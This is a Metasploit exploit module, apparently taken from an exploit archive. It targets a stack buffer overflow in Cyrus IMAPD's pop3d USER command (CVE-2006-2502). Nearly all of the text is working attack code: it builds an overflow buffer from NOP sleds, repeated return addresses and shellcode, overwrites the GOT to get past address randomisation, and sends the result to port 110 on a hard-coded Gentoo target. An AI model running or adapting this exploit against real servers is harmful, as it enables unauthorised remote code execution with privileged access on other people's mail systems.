Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow',  
'Description' => %q{  
This exploit takes advantage of a stack based overflow. Once the stack   
corruption has occured it is possible to overwrite a pointer which is  
later used for a memcpy. This gives us a write anything anywhere condition   
similar to a format string vulnerability.  
  
NOTE: The popsubfolders option is a non-default setting.  
  
I chose to overwrite the GOT with my shellcode and return to it. This   
defeats the VA random patch and possibly other stack protection features.  
  
Tested on gentoo-sources Linux 2.6.16. Although Fedora CORE 5 ships with  
a version containing the vulnerable code, it is not exploitable due to the  
use of the FORTIFY_SOURCE compiler enhancement  
},  
'Author' => [ 'bannedit', 'jduck' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 7884 $',  
'References' =>  
[  
[ 'CVE', '2006-2502' ],  
[ 'OSVDB', '25853' ],  
[ 'BID', '18056' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/2053' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/2185' ],  
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-05/0527.html' ],  
],  
'Payload' =>  
{  
'Space' => 250,  
'DisableNops' => true,  
},  
'Platform' => 'linux',  
'Targets' =>  
[  
# bannedit: 0x080fd204  
# K-sPecial: 0x8106c20 (debian 3.1 - 2.6.16-rc6)  
[ 'Gentoo 2006.0 Linux 2.6', { 'Ret' => 0x080fd318 } ],  
],  
'Privileged' => true,  
'DisclosureDate' => 'May 21 2006',  
'DefaultTarget' => 0))  
  
register_options( [ Opt::RPORT(110) ], self.class )  
end  
  
  
  
def exploit  
  
connect  
  
print_status "Banner: #{banner = sock.gets}"  
  
# NOTE: orig poc shellcode len: 84  
  
# kcope: 352+84+86+4 (nops,sc,nops,ret)  
# K-sPecial: 84+(120*4) (sc,addrs)  
# bannedit: 265+8+250+29+16  
shellcode = payload.encoded  
  
buf = "USER "  
buf << make_nops(265)  
# return address  
buf << [target.ret].pack('V') * 2  
buf << make_nops(250 - shellcode.length)  
buf << shellcode  
buf << make_nops(29)  
sc_addr = target.ret - 277  
buf << [sc_addr].pack('V') * 4  
buf << "\r\n"  
  
sock.send(buf, 0)  
disconnect  
  
end  
  
end  
`